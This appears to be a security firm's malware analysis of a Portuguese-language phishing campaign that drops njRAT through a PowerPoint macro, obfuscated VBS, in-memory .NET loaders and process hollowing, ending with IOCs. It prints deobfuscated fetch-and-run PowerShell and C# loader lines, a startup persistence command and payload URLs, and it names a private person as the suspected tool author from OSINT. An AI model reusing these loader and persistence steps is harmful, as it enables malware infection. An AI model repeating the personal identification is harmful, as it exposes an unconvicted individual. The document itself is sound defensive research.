From phishing to malware, we analyze all the stages of a fileless attack

By Alexandre Siviero

The phishing alert distributing a malicious Power Point was made by researchers Ankit Anubhav and Germán Fernández, who contacted the ISH team. These researchers attributed the threat to NjRAT, specifically to a branch called NYAN CAT.

The reason for the contact was the message in Portuguese that accompanied one of the malicious attachments observed, ComprovanteXdeXreserva.ppam (SHA1 - 94572d313222700a565f2ff161223bb28464636c). His statement follows:

It is curious to note that the message alludes to an attachment in .doc format (Word document), even though the email carries a .ppam file. Once we had the malicious document, we moved on to its static analysis.

Malicious macro commented

An analysis of the file in question revealed a single macro, without any attempts at obfuscation. On the contrary, parts of the code contained comments explaining its function. We reproduce it below.

A search through the comments suggests that some of the code was copied from an August 2010 thread on Microsoft's technet forum, Excel file to UTF-8 Encoded Text file.

Comments such as 'Specify stream type - we want To save text/string data. are identical between the answer above and the macro found. The name of the variable used for the stream object, fsT, is also identical. The only difference is the encoding: while the technet code specifies utf-8, the macro specifies utf-16.

It's interesting to note that the code is geared towards saving text in Unicode format. The reason for this will soon become obvious. In short, what the .ppam document does is save the contents of a web page(hxxps://wtools[.]io/code/raw/b8GX) in a Visual Basic script(x.vbs) and execute it via wscript.exe.

Obfuscation with Unicode and Base64

The wtools website enables code sharing in a format similar to pastebin: the content hosted on it is available for GET requests. It will be used recurrently throughout the infection chain. A visit to the address referenced by the macro provides an obfuscated script, as shown below.

The image above explains why Unicode encoding is preserved: the code is obfuscated with symbols, which will be removed by substitution functions. The symbol "♌" will be deleted and the strings containing it will be written backwards. As a result of these transformations, we have the following string:

"'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs')"

This is a file, LwFWp.vbs, saved in the Startup directory. This is a persistence tool: scripts and programs saved in this directory are executed automatically when the corresponding user logs in.

The sequence "┌♍" will also be erased, but without the subsequent reversal step. This information will be combined to form:

"[System.IO.File]::Copy('adRbe','C:\Users\'[Environment]::UserName'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs')

A line of obfuscated code immediately afterwards is responsible for using the above string and composing the command that will result in persistence on the affected system. After removing the obfuscation, the command is

cmd.exe /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command "[System.IO.File]::Copy('adRbe','C:\Users\'[Environment]::UserName'\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs'

The ping action on the localhost address (127.0.0.1) only serves to wait for 5 requests(-n 5) before executing the rest of the code. This is similar to using the sleep function commonly seen in malware. Next, the command prompt will call powershell, giving it a command to copy the contents of x.vbs (saved by the macro in the temporary directory) to the Startup folder. At a future time, after the script has been fully executed, a new instance of Powershell will remove x.vbs (residing in the temporary folder) using the Remove-Item command.

Demonstrating persistence through the Startup folder

Curiously, dynamic analysis showed that the file created in the Startup folder had the name JXG.vbs, not LwFWp.vbs. Its content, however, was the same as x.vbs.

For the infection itself, Unicode character substitution and string reversal are combined with base64 encoding. An example of this is seen in the GlmHt variable:

Notice that inside the brackets, after the opening quotation mark, there is the character "=". This is a clue that this is a base64 string. The characters "✍✍" will be replaced by "A", while the sequence of variables "ppDqQ & VgGCC & ppDqQ" will be replaced by the letter "Z". After reversing and decoding base64, we find the following command:

GlmHt = $.p.I.C.w.v. .=. .'.%.A.P.y.j.d.a.U.Y.a.k.%.'.;.[.B.y.t.e.[.].]. .$.H.W.q.M.Q. .=. .[.S.y.s.t.e.m...C.o.n.v.e.r.t.].:..F.r.o.m.B.a.s.e.6.4.S.t.r.i.n.g.(. .$.p.I.C.w.v. .).;.[.S.y.s.t.e.m...A.p.p.D.o.m.a.i.n.].:..C.u.r.r.e.n.t.D.o.m.a.i.n...L.o.a.d.(.$.H.W.q.M.Q.)...G.e.t.T.y.p.e.(.'.C.l.a.s.L.i.b.r.a.r.y.3...C.l.a.s.s.1.'.)...G.e.t.M.e.t.h.o.d.(.'.R.u.n.'.)...I.n.v.o.k.e.(.$.n.u.l.l.,. .[.o.b.j.e.c.t.[.].]. .(.'.W.G.8.b./.w.a.r./.e.d.o.c./.o.i...s.l.o.o.t.w././.:.s.p.t.t.h.'.).

Dots between characters are a feature of Unicode string storage (each character is separated by a null byte, which translates as "."). To make it easier to read, we use a simple python script to remove the unnecessary dots:

string = [STRING IN UNICODE]

unistring = ""

for i in range(0, (len(string)-1)):
    if i == 0:
        unistring += string[i]
        i+=1
    if string[i-1] == ".":
        if string[i-2] == "." and string[i] == ".":
            pass
        else:
            unistring += string[i]
            i+=1
print(unistring)

The output of the script gives us the following:

$pICwv ='%APyjdaUYak%';[Byte[]] $HWqMQ = [System.Convert]::FromBase64String( $pICwv );[System.AppDomain]::CurrentDomain.Load($HWqMQ).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('WG8b/war/edoc/oi.slootw//:sptth'))

Although it hasn't been completely de-obfuscated yet, the command is readable enough for us to derive some points of attention from it (highlighted in red). Firstly, there is the term %APyjdaUYak%. Another part of the script points out why it should be replaced by the OPKSn variable. We have renamed some functions and removed obfuscation to make the content of this variable easier to understand:

OPKSn = ReplaceString(ReverseString(GET_Reponse("hxxps://wtools[.]io/code/raw/b833")), "ÐÐÐ","A")

In short, the code retrieves the content of another wtools page (highlighted in red), inverts it and replaces the sequence "ÐÐÐ" with the letter "A". When we apply these transformations manually, we find another piece of content encoded in base64. Decoding it reveals an executable file header:

This executable is a DLL in .NET called ClassLibrary3.dll (SHA1: 9402d8272486ae59afadadc2f0cc3fdf5db258928fee44de3392b8b5d301743a). It is interesting to note that this DLL is not saved to disk, but is read from wtools and passed as an argument to Powershell. This is a characteristic of fileless malware: the payloads never touch the disk, they only exist in memory.

The Powershell command we are analyzing references this DLL:

GetType('ClassLibrary3.Class1').GetMethod('Run')

The "Run" method is the next step in our analysis. Since this is a .NET executable, we used dnSpy to decompile it. Inspecting the code of the Run method, we find the following:

The first part of the code contains the text variable, which will receive the content of another URL written backwards, containing a txt file:

hxxps://ia804600[.]us[.]archive[.]org/4/items/rumpe-03/Rumpe03[.]txt

This file contains several snowman characters (☃):

The rest of the code replaces every two snowmen with the letter A and reverses the text:

text = Strings.StrReverse(text);
text = text.Replace("☃☃", "A");

As seen several times throughout this analysis, after replacing characters and reversing the text, the result is encoded in base64. After decoding, we have another executable:

This is another .NET executable, ClassLibrary1.dll (SHA1: 1b898622bc4a5a37320ec01e93f798fdf9c3b22f5b147532005a33b6a564b00b). Returning to the ClassLibrary3.dll code, we see a reference to this new DLL:

string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(QBXtX));
text2 = Strings.StrReverse(text2);
string str = "C:\\Windows\\Microsoft.NET\\Framework";
str += "\\v4.0.30319";
AppDomain.CurrentDomain.Load(ClassLibrary1.dll.GetType("ClassLibrary1.Class1").GetMethod("Run").Invoke(null, new object[]
{
str + "\\RegAsm.exe",
Convert.FromBase64String(text2)
});

It's interesting to note that the section highlighted in green, ClassLibrary1.dll, is occupied by the executable itself in memory, just like the fileless behavior of ClassLibrary3.dll. This new DLL also uses a method called Run. Via dnSpy, we can confirm which arguments are passed to this method:

The first argument is a string path, or a file with its full path on disk. From the code of ClassLibrary3.dll we find that it is C:\\Windows\\Microsoft.NET\\Framework\\\v4.0.30319\\RegAsm.exe.

The second argument is data in bytes, represented in the code by Convert.FromBase64String(text2). This is another piece of content to be decoded from a base64 string. Which content? The one contained in the variable text2. Let's return to the part of the code that refers to it:

string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(QBXtX));
text2 = Strings.StrReverse(text2);

This is content encoded in Unicode (UTF8), which will be downloaded into the QBXtX variable; this variable is also the only parameter received by the Run method of ClassLibrary3.dll.

Let's recall the Powershell code we got from the vbs script:

$pICwv ='ClassLibrary3.dll';[Byte[]] $HWqMQ = [System.Convert]::FromBase64String( $pICwv);[System.AppDomain]::CurrentDomain.Load($HWqMQ).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('WG8b/war/edoc/oi.slootw//:sptth')) 

By inverting the text highlighted in red, we arrive at the last URL of wtools.io: hxxps://wtools[.].io/code/raw/b8GW. Once we've retrieved the content, we need to invert the text and decode it base64 (I promise this is the last time we'll need to do this):

This executable is the final payload, a version of njRAT called Client.exe (SHA-1: 2ef51053667af029a1eefa8f35b92e9b8ccb2871). Like the two DLLs, this is also a .NET executable that is never saved to disk (fileless malware).

A latest revision of the ClassLibrary3.dll call:

AppDomain.CurrentDomain.Load(ClassLibrary1.dll).GetType("ClassLibrary1.Class1").GetMethod("Run").Invoke(null, new object[]{“C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe” , Client.exe});

Remember that the terms in green are the executables themselves, decoded in memory.

Process Hollowing

We know that ClassLibrary3.dll is an executable responsible for decoding ClassLibrary1.dll in memory and executing it, passing the Windows binary RegAsm.exe and the njRAT in memory(Client.exe) as arguments. But what exactly does ClassLibrary1.dll do? A query on VirusTotal provides a clue:

Verdicts from Kaspersky, Avast and other antiviruses classify it as an Injector. Since it receives a payload(Client.exe) and a legitimate Windows file(RegAsm.exe), we can theorize that its purpose is to create a legitimate process and inject malicious content into it. One of the techniques for this action is called Process Hollowing.

A quick static investigation of the executable brings more evidence of this possible functionality. These are the following methods:

kernel32.dll: CreateProcess, GetThreadContext, Wow64GetThreadContext, SetThreadContext, Wow64SetThreadContext, ReadProcessMemory, WriteProcessMemory, VirtualAllocEx, ResumeThread

ntdll.dll: NtUnmapViewOfSection

Highlighted in bold are methods that are commonly used together for Process Hollowing. The sequence is:

  1. Create a suspended process (CreateProcess);
  2. Remove its executable from memory (NtUnmapViewOfSection);
  3. Allocate the region previously occupied by this executable (VirtualAllocEx);
  4. Write the malicious executable to it(WriteProcessMemory);
  5. Resume the process (ResumeThread).

Inspecting the executable in dnSpy, we look for its use of VirtualAllocEx:

Microsoft's documentation for developers specifies the API arguments in question:

The last argument is the one that interests us: flProtect. These are the flags that instruct Windows which protections should be given to that new region allocated in memory. In the ClassLibrary1.dll code, we see that this parameter receives the decimal value 64 (0x40 in hexadecimal). According to the protections documentation, the 0x40 flag is equivalent to the PAGE_EXECUTE_READWRITE protection. This protection is commonly used in injections, as it allows malicious code to be written and executed by the process that was the target of the technique.

To confirm our hypothesis that the RegAsm.exe process will be the target of hollowing, we moved on to dynamic analysis. We executed the malicious document and observed that, indeed, a Powershell process gave rise to a RegAsm.exe process. Using SysInternals' vmmap tool, we inspected the memory of this process.

Here are the important points from the image above. Firstly, the string window shows that we have an executable mapped in the memory range 0x00400000 - 0X0040BFFF (we know this from the message in the DOS header of every executable: "!This program cannot be run in DOS mode.").

Behind this window, we can see that this executable is in the Private Data region, shown in yellow. This is the first anomaly: all the executable images of a process are in the Image region, shown in purple.

Secondly, in the Protection column, we see that address 0x00400000 has Execute/Read/Write protection. This is also anomalous, since all executables mapped to a process should have Execute/Read protection during execution.

Finally, there is the content of the string window itself. There is a mention of Client.exe (the name of the njRAT version passed as an argument to ClassLibrary1.dll), as well as the suspicious term Keylogger.

Together, this evidence confirms our theory about ClassLibrary1.dll: its purpose is to create a RegAsm.exe process and replace the legitimate executable in memory with njRAT.

Analysis of Client.exe (njRAT)

Keylogger class

Once again, we used dnSpy to analyze this binary. An interesting place to start the analysis is the Keylogger class, whose name we saw among the strings of the RegAsm.exe process after the injection of njRAT. This component is self-explanatory: it records every keystroke made by the victim while the malware is running. These keystrokes are then converted into a readable format and eventually transmitted to the malware's controller.

This code snippet shows that the keylogger differentiates between uppercase and lowercase keys, as well as noting the use of the Enter and Tab keys as [ENTER] and [TAP], respectively.

The AV method aims to record the active window. Its name is linked to the date when the keys pressed were captured ("yy/MM/dd ").

The WRK method is responsible for saving the content collected by the keylogger. To do this, it uses the Program.SaveValueOnRegistry method with the argument this.vn. This argument is defined at the beginning of the Keylogger class:

Note that this.vn = "[kl]". We understand from this that the content captured from the keyboard will be saved somewhere in the registry, under a key named [kl]. To find out which key, you need to inspect the Program class.

Program class

In this class it is possible to inspect static variables to obtain the malware's settings.

C2 is defined in host, fidapeste2[.]duckdns[.]org, with the associated port defined in port, 5552.

The registryName variable(94b3fabc19494c) provides the name of the entry created in the registry by njRAT. This is visible in the registry operation methods DeleteValueFromRegistry, GetValueFromRegistry and SaveValueOnRegistry:

Combining this information with what we understand about how the keylogger works, we can infer that the keystrokes recorded are saved in Computer\HKEY_CURRENT_USER\Software\94b3fabc19494c\[kl]. To confirm this hypothesis, we carried out a test in a virtualized environment:

The full test is publicly available on AnyRun

In the image above, we can see that this key actually exists in the theorized location. Its contents contain the date and name of the active window. The highlighted text shows that one of the steps in our test consisted of writing "this is another window" in Notepad++.

The keylogger did not record that the user's focus changed to the start menu, causing the search for "regedit" to be wrongly attributed to Notepad++.

Let's return to the remaining fields of the RAT configuration. The victimName variable contains the term NYAN CAT in base64, associated with an njRAT builder. The version variable denotes the version of njRAT, 0.7NC. The splitter is used to send data to the malware's C2. This is visible when inspecting the Connect method:

The Program.Send line is an example of its use: upon connection, it sends the text inf@!#&^%$ ("inf" + Program.splitter) followed by a base64-encoded string. This string will contain inputs captured by the keylogger available in the [kl] registry key, identified here by the term "vn".

Also added to this string will be host information(fidapeste2[.]duckdns[.]org), port(5552), followed by the directory and name of the RAT executable (FileInfo(Application.ExecutablePath)). It is interesting to note that this infection does not save Client.exe to disk; possibly the return of this function in these circumstances would be the path of RegAsm.exe.

Another characteristic feature of njRAT is the malware's ability to uninstall itself. This is done using the Uninstall method:

This routine deletes the registry entry that stores inputs captured by the keylogger (HKEY_CURRENT_USER\Software\94b3fabc19494c\[kl]) and deletes the disk copy of njRAT via the command prompt.

As noted in the Connect method considerations, the infection analyzed here only has this malware in memory. Thus, the uninstall method would remove the inputs captured from the keyboard, but there would be no disk copy of Client.exe to delete.

This RAT has more modules than just keylogger functionality, communication with a command server and uninstallation. In order not to extend this already extensive analysis too much, we have decided to focus only on the features we have described so far.

Assigning components

While analyzing the infection mechanism of this campaign, we noticed that the creator of ClassLibrary3.dll left a mention of the Visual Studio debugger symbol file (marked by the .pdb extension) in the final version of its executable. The reference to this file shows that the DLL in question had its symbol file saved in:

C:\Users\pjoao\Desktop\UpCry\Method DF\ClassLibrary3\ClassLibrary3\obj\Release\ClassLibrary3.pdb.

When searching the internet for the UpCry string associated with pjoao, we found a youtube user with a video published in November 2021, entitled "!!! Update Upcry bypass WD 2021 exe to vbs !!!".

This video provides some interesting clues. Firstly, it demonstrates the use of a NYAN CAT builder for njRAT. The port used in the author's demonstration is also the same as the one seen in the sample we analyzed, 5552.

Another curious point is pjoao's accent, clearly from the northeast of Brazil. This generates an association with C2, "fí da peste", a colloquialism from the same area. As the author always uses the same surname in various activities on the internet, we were able to confirm via OSINT that his name is João Paulo and that he lives in Caruaru, Pernambuco.

https://forum.guiadohacker.com.br/vb5/member/257166-pjoao1578
https://social.msdn.microsoft.com/profile/jo%C3%A3o%20paulo%20%5B%5D/?ws=usercard-mini
pjoao1578's personal website mentions "Os Sika", also mentioned on his MSDN profile under the name João Paulo

In his video, João shows a version of njRAT called Client.exe (the same name we observed) being encoded in base64 and then reversed. He then copies the result into text and hosts it on a site similar to wtools.

Another interesting point is UpCrypt (or UpCry, the spelling is inconsistent), a tool apparently authored by João Paulo. This tool provides the possibility of "converting" an executable into vbs.

It's also interesting to note the "Copy Startup VBS" and "Install and delete VBS" options. This behavior is similar to that observed for x.vbs, where the script was copied to the Startup folder and then deleted from the temporary directory.

The option Run Memory (probably the intention was to write "Run From Memory") has the option "Rumpe01" checked. It's worth remembering that the executable responsible for Process Hollowing, ClassLibrary1.dll, was hosted as Rumpe03. A poor command of writing, both in Portuguese and English, is evident on João Paulo's personal website. Thus, we understand that the term Rumpe is probably an attempt to write RunPE, a nickname given to the Process Hollowing technique.

This tool is sold by João Paulo, as he himself says in the comments of another of his videos.

An analysis of his personal website confirms that UpCrypt (or UpCry, the author's spelling is inconsistent) is on sale for 600 reais or 110 dollars.

Studying the stages of this chain of infection, we see a certain dissonance between the complexity of its components. The malicious macro, for example, suggests an author with very little experience (see the comments in lines copied from the internet). If João Paulo really created the UpCrypt tool, he shouldn't make mistakes of this nature.

Although more complex than the macro, vbs script obfuscation also has steps that point to a programmer with little knowledge, such as reversing a string three times in succession (any odd reversal has the same result as a single reversal).

Finally, there is also a clear difference in complexity between the DLL responsible for Process Hollowing (ClassLibrary1.dll) and the one created by João Paulo (ClassLibrary3.dll). ClassLibrary1 is much more sophisticated in its obfuscation. It is likely to be a RunPE-ready DLL that is taken advantage of by UpCrypt, as indicated by the "Rumpe" options. Nor was njRAT itself created by João Paulo.

We have high confidence that the VBS script used in this infection chain was generated by the UpCrypt tool, theoretically created by him. However, we can't say with certainty that the entire campaign came from João.

One of the points that suggests this is the case is the RAT configuration. The port used by the sample we analyzed is the same one demonstrated by João in his tutorial, while the address chosen for C2 is compatible with popular expressions in the region where he lives.

On the other hand, João publishes his tutorials openly on YouTube and sells the UpCrypt tool. Given how easy it and the njRAT builder are to use, it's possible that a criminal with little experience of programming and malware simply bought the tool and followed the steps demonstrated by João Paulo.

Thanks:

Ankit Anubhav and Germán Fernández for sharing the malicious document in question and the results of their dynamic analysis. The two researchers also discussed some of the stages of the analysis with us, which undoubtedly speeded up the whole process of studying this campaign.

Follow the ISH intelligence team on twitter

IOCs

SHA256
623027463a2ef70f60ff6a0991019847a3fb24da3b633b52da4a99a77c99f92b  ComprovanteXdeXreserva.ppam
82c9d74c9a8688ed1fffd53e3b8ffaf9ae8f85a843f34412d15f88b18ce134a9  x.vbs

The following hashes are not used to detect these executables on disk, since they only exist in memory. We provide them in case any researchers wish to download any of the executables to better study how they work. All three are available on MalwareBazaar.

1b898622bc4a5a37320ec01e93f798fdf9c3b22f5b147532005a33b6a564b00b  ClassLibrary1.dll
9402d8272486ae59afadadc2f0cc3fdf5db258928fee44de3392b8b5d301743a  ClassLibrary3.dll
08dd5907b25f93be9300016865aae429318e00969a1b875bfabe2018403ebd40  Client.exe

Registration

Computer\HKEY_CURRENT_USER\Software\94b3fabc19494c\[kl]

Persistence

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ JXG.vbs

Network

C2 URL: fidapeste2[.]duckdns[.]org
IP and port: 45[.]186[.]40[.]140:5552

URLs for retrieving payloads:

hxxps://wtools[.]io/code/raw/b8GX

hxxps://wtools[.]io/code/raw/b833

hxxps://wtools[.].io/code/raw/b8GW

hxxps://ia804600[.]us[.]archive[.]org/4/items/rumpe-03/Rumpe03[.]txt

Strings in memory that suggest infection:

Keylogger
cmd.exe /C Y /N /D Y /T 1 & Del "
fidapeste2.duckdns.org
94b3fabc19494c
TllBTiBDQVQ=

Emulations:

https://tria.ge/220110-e8th2adha8/behavioral1

https://analyze.intezer.com/files/08dd5907b25f93be9300016865aae429318e00969a1b875bfabe2018403ebd40/iocs